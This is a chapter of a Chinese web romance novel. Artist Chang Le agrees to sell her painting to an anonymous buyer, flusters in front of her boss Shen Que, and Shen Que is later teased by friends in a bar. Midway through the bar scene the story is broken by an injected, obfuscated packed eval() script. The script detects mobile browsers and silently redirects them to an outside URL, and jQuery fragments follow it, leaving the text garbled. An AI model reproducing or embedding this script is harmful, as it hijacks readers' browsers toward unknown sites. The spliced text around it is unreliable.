“叮—”
常乐抱着设计稿从电梯中出来,快步走了出去,她现在已经对二十层的地形了如指掌了。
“常乐?”
一个熟悉又带着几分惊讶的声音从旁边传来。
常乐扭头一看,是林默。她正环着手臂,饶有兴致的看着她。
“林总监!”
“我就说看你的背影怎么这么眼熟。”林默的目光在她身上转了一圈,最后落在她胸前的工牌上,“游戏事业部?艺术顾问?”
“看来沈总对你的才华相当认可。”
林默眼神里带着三分诧异和七分八卦,又立马隐去。
听到“相当认可”的评价,常乐有些不好意思的解释道:“是杨助理联系的我,说项目正好需要我这样的风格。”
“杨助理是沈总身边的人,只会按沈总的指令办事。”
林默这话像是无意的说道,但是却在常乐心里丢下了一块石头,泛起层层涟漪。她表面还是一副滴水不漏的模样,耳根却开始泛红。
“能得到公司的认可,是我的荣幸啦。”
林默看着她单纯的脸庞,眼中闪过一丝笑意,这傻姑娘性子真是...
“跟我来一趟办公室吧。”她继续说道,“正好我也有事要找你。”
有事?画展都结束了还有什么事情吗?
常乐心里生出疑惑,怀里抱着一大堆设计稿跟着林默,去到她简约又装饰的有些艺术感的办公室里。
“坐吧。”林默指了指对面的椅子,自己则从文件柜里抽出一份文件,开门见山的说道,“是关于你画展作品拍卖的事情。”
“又有位新的收藏家想买你那幅《心之所向》。”
常乐愣了一下,随机想起前两天画展的事情,她依旧摇头:“林总监,我之前说过的,那幅作品...”
“我不卖。”
“我知道,但是这个买家很坚定。”林默把文件推到她面前,“你先看看这个再做决定。”
那是一份没有署名,只有短短几句话的信。
——“我并非想用金钱衡量艺术,只是这幅《心之所向》,让我看到了自己一直渴望一直需要的东西。我希望有幸成为她的守护者,守护这份独一无二的“初心”。价格方面,全由常乐小姐来定。”
初心。
当常乐看到这个词,心脏猛地一震。
这是当时她在画展拒绝林默时说的话,这个匿名买家,是怎么知道的?
难道当时他也在场?真的这么凑巧吗?
“对方不是普通的收藏家,他貌似很懂你的心思也很尊重你的画。常乐我也许不懂你对这幅画的执着,但是好的作品你不应该孤芳自赏。”
常乐的心彻底乱了,林默说的不无道理。
她低头看着这封信,指尖有意无意的在“初心”上摩挲。
画这幅画,是她的执念和私心,这也是她暗恋幻想的凝结之作。但现在她好像可以更进一步靠近沈确,就算只是远远凝望。
或许,让画作去到一个也懂它的人身边,才是真正的心之所向,也是她作为画家该传递的东西。
“我...”常乐深吸一口气,像是做出一个重大决定,她抬头看着林默,“画我可以卖。”
“但是我想知道买家是谁。”
林默看着她有些泛红却充满探究欲的眼睛,有些无奈的摇了摇头。
“抱歉常乐,对方唯一的要求就是绝对匿名。”她语气中带着一丝歉意,“只知道他的代称叫“缪斯”。”
缪斯?
这个词像一根羽毛,挠在了常乐的心尖上。
她走出林默的办公室时,在走廊处看到了刚刚开完会议的沈确,他穿着一丝不苟的黑色西装,微微侧着头将手机贴在耳边。
“在哪?”
“嗯。”
常乐有些失神的看着他,听着他冷漠地回应着对方,他的声音落在她耳朵里带着致命的性感。
沈确挂断电话后像是感觉到了什么,忽然转过头,目标精准地朝她的方向看过来。
完蛋了,偷窥被发现了。常乐抱紧怀里的设计稿有些懊恼的闭了闭眼睛。
他看到常乐暗自懊恼的模样,那双黑沉沉的眸子里忽然带上了些许温柔和...戏谑,他迈开腿径直朝她走过去。
每一步都踩在了常乐的心跳上。
“工作还适应吗?”他在她身前停下,仿佛只是在履行上司对下属最基本的关怀和问候。
“挺...挺好的。”常乐想用声音掩饰自己的紧张,可还是有些不争气地颤抖。
她悄悄往后退了两步,拉开两人现在过于靠近的距离,给自己腾出呼吸的空间:“沈总我还有工作,先走了!”
她丢下这句话,头也不回的就往电梯的方向冲,长发因为小跑而有些凌乱的披散着,脸颊晕上了两片淡粉,有些狼狈有些可爱。
沈确看着她落荒而逃的背影,嘴角压抑不住地上扬,低低地笑了出来。
一个只敢想的胆小鬼。
***
夜晚,市中心“春夜”酒吧里,灯光昏暗。
沈确坐在包间最角落的位置,面前摆着一杯威士忌,面无表情地瞅了一眼谢书行。
“你想谋杀我?”沈确优雅地端起酒杯轻抿。
旁边的谢书行双腿交叠,嘴角挂着惯有的温和笑容。
“你都能第二天就去上班。”听到沈确的话,他嘴角的笑意更浓,“喝点酒问题不大。”
“话说,你最近的动向,倒是有意思。”
谢书行神色平静地从手机里翻出一个页面,那是一个娱乐八卦博主的微博。
沈确瞥了一眼,嗤笑:“无聊,早看过了。”
“无聊?”谢书行慢悠悠地开口,声音不大却足以在嘈杂的环境下被听清,“以你的谨慎程度会被拍到,只能说明你当时的注意力全在她身上。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943063|177446||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“事后,你还不撤照片。”
沈确握酒杯的手收紧了一些,没有反驳,因为这是他的私心。
他不仅不想撤照片,甚至后悔当时没有高调一些。
这时包厢的门被推开,有个男人走了进来。
“沈总终于舍得醒了,我都以为你要在医院过年呢!”
这个姗姗来迟的男人叫梁泽,也是沈确从小玩到大的发小,家里经营着几家传媒公司,消息向来灵通。
“滚蛋。”沈确懒得理他。
“我听沈好妹妹说,你刚醒就去画展了?”梁泽走过来坐在沈确旁边,一脸八卦。
沈确脑海里闪过常乐下午落荒而逃的可爱模样,微微低头,眼中泛起一抹笑意。
“她胡说什么?”
“画展第二天又给人招进公司。”谢书行晃了晃酒杯,一针见血的调侃道,“沈少,司马昭之心路人皆知。”
确实,以沈确的性格,如果不是足够在意是不会轻易暴露自己的,只有某些笨蛋看不出来。
“工作需要。”沈确依旧面不改色,用酒杯掩饰自己嘴角那抹似有若无的笑容。
“啧,沈总嘴硬得很!”梁泽吊儿郎当的笑着,拿起桌上的酒杯碰了碰沈确。
谢书行身体微微前倾,那双时刻带笑的眼睛认真了几分:“真动了心思,就放开些。”
“毕竟你我这样的人,碰到真心实意的爱情不容易。”
沈确听完,仰头将杯中的所剩不多的威士忌一饮而尽。
他又怎么会不知道,爱情对他们来说算奢侈品的事实,所以他才小心翼翼地靠近常乐,生怕吓跑她不是吗。
“你们俩很闲是吧。”他放下酒杯发出清脆的响声,没有正面回应谢书行的话,只是一语带过,“少听沈好捕风捉影。”
听到沈确的话,谢书行和梁泽对视了一眼,不约而同地笑了。
死鸭子嘴硬,想从沈确这个嘴强王者嘴里撬出什么有意思的八卦比登天还难,有空还是听沈好透露比较靠谱。
“说起来,”谢书行突然换了个话题,“我明天要出差。”
“去哪?”沈确问。
“法国。”谢书行的表情瞬间沉了下来,“家里的事情比较复杂,可能要待一个月。”
“谢氏那边出问题了?”梁泽听到也皱着眉头问道,他知道谢书行家里的事情挺难搞的。
“老爷子身体不太好,那几个叔叔开始蠢蠢欲动了。”谢书行语气平静,“我得回去坐镇。”
沈确转头看了一眼谢书行,那张向来温文尔雅的脸上,此刻却显露出浓重的疲惫与锋利。
片刻后,他才开口:“需要帮忙?”
“我能搞定。”
谢书行拿起桌上的酒瓶重新给他们俩满上,也给自己倒满。琥珀色的液体缓缓注入杯中,让他们短暂麻痹自己。
各怀心事的三个人拿起酒杯轻轻地互碰了一下,一切尽在不言中。